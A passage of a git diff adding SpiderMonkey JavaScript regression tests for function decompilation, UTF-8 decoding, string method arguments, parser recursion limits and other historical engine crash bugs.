+var summary = "Testing F.toString()";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var FtoString = '';
+var sFunc = '';
+
+sFunc += 'function F()';
+sFunc += '{';
+sFunc += ' var f = arguments.callee;';
+sFunc += ' f.i = 0;';
+sFunc += '';
+sFunc += ' try';
+sFunc += ' {';
+sFunc += ' f.i = f.i + 1;';
+sFunc += ' print("i = i+1 succeeded \ti = " + f.i);';
+sFunc += ' }';
+sFunc += ' catch(e)';
+sFunc += ' {';
+sFunc += ' print("i = i+1 failed with " + e + "\ti = " + f.i);';
+sFunc += ' }';
+sFunc += '';
+sFunc += ' try';
+sFunc += ' {';
+sFunc += ' ++f.i;';
+sFunc += ' print("++i succeeded \t\ti = " + f.i);';
+sFunc += ' }';
+sFunc += ' catch(e)';
+sFunc += ' {';
+sFunc += ' print("++i failed with " + e + "\ti = " + f.i);';
+sFunc += ' }';
+sFunc += '';
+sFunc += ' try';
+sFunc += ' {';
+sFunc += ' f.i++;';
+sFunc += ' print("i++ succeeded \t\ti = " + f.i);';
+sFunc += ' }';
+sFunc += ' catch(e)';
+sFunc += ' {';
+sFunc += ' print("i++ failed with " + e + "\ti = " + f.i);';
+sFunc += ' }';
+sFunc += '';
+sFunc += ' try';
+sFunc += ' {';
+sFunc += ' --f.i;';
+sFunc += ' print("--i succeeded \t\ti = " + f.i);';
+sFunc += ' }';
+sFunc += ' catch(e)';
+sFunc += ' {';
+sFunc += ' print("--i failed with " + e + "\ti = " + f.i);';
+sFunc += ' }';
+sFunc += '';
+sFunc += ' try';
+sFunc += ' {';
+sFunc += ' f.i--;';
+sFunc += ' print("i-- succeeded \t\ti = " + f.i);';
+sFunc += ' }';
+sFunc += ' catch(e)';
+sFunc += ' {';
+sFunc += ' print("i-- failed with " + e + "\ti = " + f.i);';
+sFunc += ' }';
+sFunc += '}';
+
+
+/*
+ * Use sFunc to define the function F. The test
+ * then rests on comparing F.toString() to sFunc.
+ */
+eval(sFunc);
+
+
+/*
+ * There are trivial whitespace differences between F.toString()
+ * and sFunc. So strip out whitespace before comparing them -
+ */
+sFunc = stripWhite(sFunc);
+FtoString = stripWhite(F.toString());
+
+
+/*
+ * Break comparison into sections to make any failures
+ * easier for the developer to track down -
+ */
+status = inSection(1);
+actual = FtoString.substring(0,100);
+expect = sFunc.substring(0,100);
+addThis();
+
+status = inSection(2);
+actual = FtoString.substring(100,200);
+expect = sFunc.substring(100,200);
+addThis();
+
+status = inSection(3);
+actual = FtoString.substring(200,300);
+expect = sFunc.substring(200,300);
+addThis();
+
+status = inSection(4);
+actual = FtoString.substring(300,400);
+expect = sFunc.substring(300,400);
+addThis();
+
+status = inSection(5);
+actual = FtoString.substring(400,500);
+expect = sFunc.substring(400,500);
+addThis();
+
+status = inSection(6);
+actual = FtoString.substring(500,600);
+expect = sFunc.substring(500,600);
+addThis();
+
+status = inSection(7);
+actual = FtoString.substring(600,700);
+expect = sFunc.substring(600,700);
+addThis();
+
+status = inSection(8);
+actual = FtoString.substring(700,800);
+expect = sFunc.substring(700,800);
+addThis();
+
+status = inSection(9);
+actual = FtoString.substring(800,900);
+expect = sFunc.substring(800,900);
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+/*
+ * Remove any whitespace characters; also
+ * any escaped tabs or escaped newlines.
+ */
+function stripWhite(str)
+{
+ var re = /\s|\\t|\\n/g;
+ return str.replace(re, '');
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-170193.js b/js/src/tests/non262/regress/regress-170193.js
new file mode 100644
index 0000000000..0cd2382ed4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-170193.js
@@ -0,0 +1,74 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 22 Sep 2002
+ * SUMMARY: adding prop after middle-delete of function w duplicate formal args
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=170193
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 170193;
+var summary = 'adding property after middle-delete of function w duplicate formal args';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+/*
+ * This sequence of steps used to cause the SpiderMonkey shell to hang -
+ */
+function f(a,a,b){}
+f.c=42;
+f.d=43;
+delete f.c; // "middle delete"
+f.e=44;
+
+status = inSection(1);
+actual = f.c;
+expect = undefined;
+addThis();
+
+status = inSection(2);
+actual = f.d;
+expect = 43;
+addThis();
+
+status = inSection(3);
+actual = f.e;
+expect = 44;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-172699.js b/js/src/tests/non262/regress/regress-172699.js
new file mode 100644
index 0000000000..3af7884b48
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-172699.js
@@ -0,0 +1,69 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 07 Oct 2002
+ * SUMMARY: UTF-8 decoder should not accept overlong sequences
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=172699
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 172699;
+var summary = 'UTF-8 decoder should not accept overlong sequences';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+expect = "URIError thrown";
+try
+{
+ decodeURI("%C0%AF");
+ actual = "no error thrown";
+}
+catch (e)
+{
+ if (e instanceof URIError)
+ actual = "URIError thrown";
+ else if (e instanceof Error)
+ actual = "wrong error thrown: " + e.name;
+ else
+ actual = "non-error thrown: " + e;
+}
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-174709.js b/js/src/tests/non262/regress/regress-174709.js
new file mode 100644
index 0000000000..8b839a912f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-174709.js
@@ -0,0 +1,69 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 174709;
+var summary = 'Don\'t Crash';
+var actual = 'FAIL';
+var expect = 'PASS';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+/* code removed until replacement can be created. */
+
+/* crash and burn */
+
+var G2z=["ev","sta","fro","cha","le",[""]];
+var qS0=[];
+qS0.push("G"+2);
+qS0.push("z");
+var kJ6=this[qS0.join("")];
+kJ6[0]+="a";
+kJ6[1]+="rtX";
+kJ6[2]+="mCha";
+kJ6[3]+="rCo";
+kJ6[4]+="ngt";
+function heW(){}
+heW.prototype={};
+var b2V=new Array();
+b2V.push("k");
+b2V.push("J");
+b2V.push(6);
+var Co4=this[b2V.join("")];
+Co4[0]+="l";
+Co4[1]+="opu";
+Co4[2]+="rCo";
+Co4[3]+="deA";
+Co4[4]+="h";
+
+var Ke1=[];
+Ke1.push("C");
+Ke1.push("o");
+Ke1.push(4);
+var Qp3=this[Ke1.join("")];
+Qp3[1]+="s";
+Qp3[2]+="de";
+Qp3[3]+="t";
+
+var kh1=Qp3[5][Qp3[4]];
+
+var l8q=[];
+l8q.push("g".toUpperCase());
+l8q.push(2);
+l8q.push("z");
+/* var e2k=window[l8q.join("")];*/
+var e2k=eval(l8q.join(""));
+for (Qp3[5][kh1] in this)
+ for (Qp3[5][kh1+1] in this)
+ if (Qp3[5][kh1] > Qp3[5][kh1+1] &&
+ Qp3[5][kh1][e2k[4]] == Qp3[5][kh1+1][e2k[4]] &&
+ Qp3[5][kh1].substr(kh1,kh1+1) == Qp3[5][kh1+1].substr(kh1,kh1+1))
+ Qp3[5][kh1 + 2] = Qp3[5][kh1];
+
+
+actual = 'PASS';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-176125.js b/js/src/tests/non262/regress/regress-176125.js
new file mode 100644
index 0000000000..8334b2b792
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-176125.js
@@ -0,0 +1,49 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 176125;
+var summary = 'if() should not return a value';
+var actual = '';
+var expect = 'undefined';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ printStatus('if (test1());');
+ actual = typeof eval('if (test1());');
+}
+catch(ex)
+{
+ actual = ex + '';
+}
+
+reportCompare(expect, actual, summary + ': if (test1());');
+
+try
+{
+ printStatus('if (test2());');
+ actual = typeof eval('if (test2());');
+}
+catch(ex)
+{
+ actual = ex + '';
+}
+
+reportCompare(expect, actual, summary + ': if (test2());');
+
+
+function test1()
+{
+ 'Hi there!';
+}
+
+function test2()
+{
+ test1();
+ return false;
+}
diff --git a/js/src/tests/non262/regress/regress-179524.js b/js/src/tests/non262/regress/regress-179524.js
new file mode 100644
index 0000000000..436bdfc43a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-179524.js
@@ -0,0 +1,292 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 11 Nov 2002
+ * SUMMARY: JS shouldn't crash on extraneous args to str.match(), etc.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=179524
+ *
+ * Note that when testing str.replace(), we have to be careful if the first
+ * argument provided to str.replace() is not a regexp object. ECMA-262 says
+ * it is NOT converted to one, unlike the case for str.match(), str.search().
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=83293#c21. This means
+ * we have to be careful how we test meta-characters in the first argument
+ * to str.replace(), if that argument is a string -
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 179524;
+var summary = "Don't crash on extraneous arguments to str.match(), etc.";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+str = 'ABC abc';
+var re = /z/ig;
+
+status = inSection(1);
+actual = str.match(re);
+expect = null;
+addThis();
+
+status = inSection(2);
+actual = str.match(re, 'i');
+expect = null;
+addThis();
+
+status = inSection(3);
+actual = str.match(re, 'g', '');
+expect = null;
+addThis();
+
+status = inSection(4);
+actual = str.match(re, 'z', new Object(), new Date());
+expect = null;
+addThis();
+
+
+/*
+ * Now try the same thing with str.search()
+ */
+status = inSection(5);
+actual = str.search(re);
+expect = -1;
+addThis();
+
+status = inSection(6);
+actual = str.search(re, 'i');
+expect = -1;
+addThis();
+
+status = inSection(7);
+actual = str.search(re, 'g', '');
+expect = -1;
+addThis();
+
+status = inSection(8);
+actual = str.search(re, 'z', new Object(), new Date());
+expect = -1;
+addThis();
+
+
+/*
+ * Now try the same thing with str.replace()
+ */
+status = inSection(9);
+actual = str.replace(re, 'Z');
+expect = str;
+addThis();
+
+status = inSection(10);
+actual = str.replace(re, 'Z', 'i');
+expect = str;
+addThis();
+
+status = inSection(11);
+actual = str.replace(re, 'Z', 'g', '');
+expect = str;
+addThis();
+
+status = inSection(12);
+actual = str.replace(re, 'Z', 'z', new Object(), new Date());
+expect = str;
+addThis();
+
+
+
+/*
+ * Now test the case where str.match()'s first argument is not a regexp object.
+ * In that case, JS follows ECMA-262 Ed.3 by converting the 1st argument to a
+ * regexp object using the argument as a regexp pattern, but then extends ECMA
+ * by taking any optional 2nd argument to be a regexp flag string (e.g.'ig').
+ *
+ * Reference: http://bugzilla.mozilla.org/show_bug.cgi?id=179524#c10
+ */
+status = inSection(13);
+actual = str.match('a').toString();
+expect = str.match(/a/).toString();
+addThis();
+
+status = inSection(14);
+actual = str.match('a', 'i').toString();
+expect = str.match(/a/).toString();
+addThis();
+
+status = inSection(15);
+actual = str.match('a', 'ig').toString();
+expect = str.match(/a/).toString();
+addThis();
+
+status = inSection(16);
+actual = str.match('\\s', 'm').toString();
+expect = str.match(/\s/).toString();
+addThis();
+
+
+/*
+ * Now try the previous three cases with extraneous parameters
+ */
+status = inSection(17);
+actual = str.match('a', 'i', 'g').toString();
+expect = str.match(/a/).toString();
+addThis();
+
+status = inSection(18);
+actual = str.match('a', 'ig', new Object()).toString();
+expect = str.match(/a/).toString();
+addThis();
+
+status = inSection(19);
+actual = str.match('\\s', 'm', 999).toString();
+expect = str.match(/\s/).toString();
+addThis();
+
+status = inSection(20);
+actual = str.match('a', 'z').toString();
+expect = str.match(/a/).toString();
+addThis();
+
+
+
+/*
+ * Now test str.search() where the first argument is not a regexp object.
+ * The same considerations as above apply -
+ *
+ * Reference: http://bugzilla.mozilla.org/show_bug.cgi?id=179524#c16
+ */
+status = inSection(21);
+actual = str.search('a');
+expect = str.search(/a/);
+addThis();
+
+status = inSection(22);
+actual = str.search('a', 'i');
+expect = str.search(/a/);
+addThis();
+
+status = inSection(23);
+actual = str.search('a', 'ig');
+expect = str.search(/a/);
+addThis();
+
+status = inSection(24);
+actual = str.search('\\s', 'm');
+expect = str.search(/\s/);
+addThis();
+
+
+/*
+ * Now try the previous three cases with extraneous parameters
+ */
+status = inSection(25);
+actual = str.search('a', 'i', 'g');
+expect = str.search(/a/);
+addThis();
+
+status = inSection(26);
+actual = str.search('a', 'ig', new Object());
+expect = str.search(/a/);
+addThis();
+
+status = inSection(27);
+actual = str.search('\\s', 'm', 999);
+expect = str.search(/\s/);
+addThis();
+
+status = inSection(28);
+actual = str.search('a', 'z');
+expect = str.search(/a/);
+addThis();
+
+
+
+/*
+ * Now test str.replace() where the first argument is not a regexp object.
+ * The same considerations as above apply, EXCEPT for meta-characters.
+ * See introduction to testcase above. References:
+ *
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=179524#c16
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=83293#c21
+ */
+status = inSection(29);
+actual = str.replace('a', 'Z');
+expect = str.replace(/a/, 'Z');
+addThis();
+
+status = inSection(30);
+actual = str.replace('a', 'Z', 'i');
+expect = str.replace(/a/, 'Z');
+addThis();
+
+status = inSection(31);
+actual = str.replace('a', 'Z', 'ig');
+expect = str.replace(/a/, 'Z');
+addThis();
+
+status = inSection(32);
+actual = str.replace('\\s', 'Z', 'm'); //<--- NO!!! No meta-characters 1st arg!
+actual = str.replace(' ', 'Z', 'm'); //<--- Have to do this instead
+expect = str.replace(/\s/, 'Z');
+addThis();
+
+
+/*
+ * Now try the previous three cases with extraneous parameters
+ */
+status = inSection(33);
+actual = str.replace('a', 'Z', 'i', 'g');
+expect = str.replace(/a/, 'Z');
+addThis();
+
+status = inSection(34);
+actual = str.replace('a', 'Z', 'ig', new Object());
+expect = str.replace(/a/, 'Z');
+addThis();
+
+status = inSection(35);
+actual = str.replace('\\s', 'Z', 'm', 999); //<--- NO meta-characters 1st arg!
+actual = str.replace(' ', 'Z', 'm', 999); //<--- Have to do this instead
+expect = str.replace(/\s/, 'Z');
+addThis();
+
+status = inSection(36);
+actual = str.replace('a', 'Z', 'z');
+expect = str.replace(/a/, 'Z');
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-185165.js b/js/src/tests/non262/regress/regress-185165.js
new file mode 100644
index 0000000000..652910948a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-185165.js
@@ -0,0 +1,64 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 13 Dec 2002
+ * SUMMARY: Decompilation of "\\" should give "\\"
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=185165
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 185165;
+var summary = 'Decompilation of "\\\\" should give "\\\\"';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+// Check that second decompilation of script gives the same string as first one
+var f1 = function() { return "\\"; }
+ var s1 = f1.toString();
+
+var f2;
+eval("f2=" + s1);
+var s2 = f2.toString();
+
+status = inSection(1);
+actual = s2;
+expect = s1;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-191633.js b/js/src/tests/non262/regress/regress-191633.js
new file mode 100644
index 0000000000..d6070f83a9
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-191633.js
@@ -0,0 +1,70 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 03 February 2003
+ * SUMMARY: Testing script with huge number of comments
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=191633
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 191633;
+var summary = 'Testing script with huge number of comments';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+actual = false; // initialize to failure
+var s = repeat_str("//\n", 40000); // Build a string of 40000 lines of comments
+eval(s + "actual = true;");
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function repeat_str(str, repeat_count)
+{
+ var arr = new Array(repeat_count);
+
+ while (repeat_count != 0)
+ arr[--repeat_count] = str;
+
+ return str.concat.apply(str, arr);
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-191668.js b/js/src/tests/non262/regress/regress-191668.js
new file mode 100644
index 0000000000..c25c06206e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-191668.js
@@ -0,0 +1,67 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 03 February 2003
+ * SUMMARY: Testing script containing <!- at internal buffer boundary.
+ * JS parser must look for HTML comment-opener <!--, but mustn't disallow <!-
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=191668
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 191668;
+var summary = 'Testing script containing <!- at internal buffer boundary';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+var N = 512;
+var j = 0;
+var str = 'if (0<!-0) ++j;';
+
+for (var i=0; i!=N; ++i)
+{
+ eval(str);
+ str = ' ' + str;
+}
+
+status = inSection(1);
+actual = j;
+expect = N;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-192414.js b/js/src/tests/non262/regress/regress-192414.js
new file mode 100644
index 0000000000..e6843269cc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-192414.js
@@ -0,0 +1,85 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 08 February 2003
+ * SUMMARY: Parser recursion should check stack overflow
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=192414
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 192414;
+var summary = 'Parser recursion should check stack overflow';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+/*
+ * We will form an eval string to set the result-variable |actual|.
+ * To get a feel for this, suppose N were 3. Then the eval string is
+ * 'actual = (1&(1&(1&1)));' The expected value after eval() is 1.
+ */
+status = inSection(1);
+var N = 10000;
+var left = repeat_str('(1&', N);
+var right = repeat_str(')', N);
+var str = 'actual = '.concat(left, '1', right, ';');
+try
+{
+ eval(str);
+}
+catch (e)
+{
+ /*
+ * An exception during this eval is OK, as the runtime can throw one
+ * in response to too deep recursion. We haven't crashed; good!
+ */
+ actual = 1;
+}
+expect = 1;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function repeat_str(str, repeat_count)
+{
+ var arr = new Array(--repeat_count);
+ while (repeat_count != 0)
+ arr[--repeat_count] = str;
+ return str.concat.apply(str, arr);
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-193418.js b/js/src/tests/non262/regress/regress-193418.js
new file mode 100644
index 0000000000..ffa544a2e7
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-193418.js
@@ -0,0 +1,67 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 17 February 2003
+ * SUMMARY: Testing empty blocks
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=193418
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 193418;
+var summary = 'Testing empty blocks';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function f()
+{
+ while (0)
+ {
+ { }
+ }
+ actual = true;
+}
+
+
+status = inSection(1);
+f(); // sets |actual|
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-203278-1.js b/js/src/tests/non262/regress/regress-203278-1.js
new file mode 100644
index 0000000000..0c0d317eec
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-203278-1.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 203278;
+var summary = 'Don\'t crash in recursive js_MarkGCThing';
+var actual = 'FAIL';
+var expect = 'PASS';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function test1() {}
+function test() { test1.call(this); }
+test.prototype = new test1();
+
+var length = 512 * 1024 - 1;
+var obj = new test();
+var first = obj;
+for(var i = 0 ; i < length ; i++) {
+ obj.next = new test();
+ obj = obj.next;
+}
+
+actual = 'PASS';
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/non262/regress/regress-203402.js b/js/src/tests/non262/regress/regress-203402.js
new file mode 100644
index 0000000000..1ad73a5cfa
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-203402.js
@@ -0,0 +1,58 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 28 April 2003
+ * SUMMARY: Testing the ternary query operator
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=203402
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 203402;
+var summary = 'Testing the ternary query operator';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+// This used to crash the Rhino optimized shell -
+status = inSection(1);
+actual = "" + (1==0) ? "" : "";
+expect = "";
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-203841.js b/js/src/tests/non262/regress/regress-203841.js
new file mode 100644
index 0000000000..022bf537fc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-203841.js
@@ -0,0 +1,127 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 29 April 2003
+ * SUMMARY: Testing merged if-clauses
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=203841
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 203841;
+var summary = 'Testing merged if-clauses';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+var a = 0;
+var b = 0;
+var c = 0;
+if (a == 5, b == 6) { c = 1; }
+actual = c;
+expect = 0;
+addThis();
+
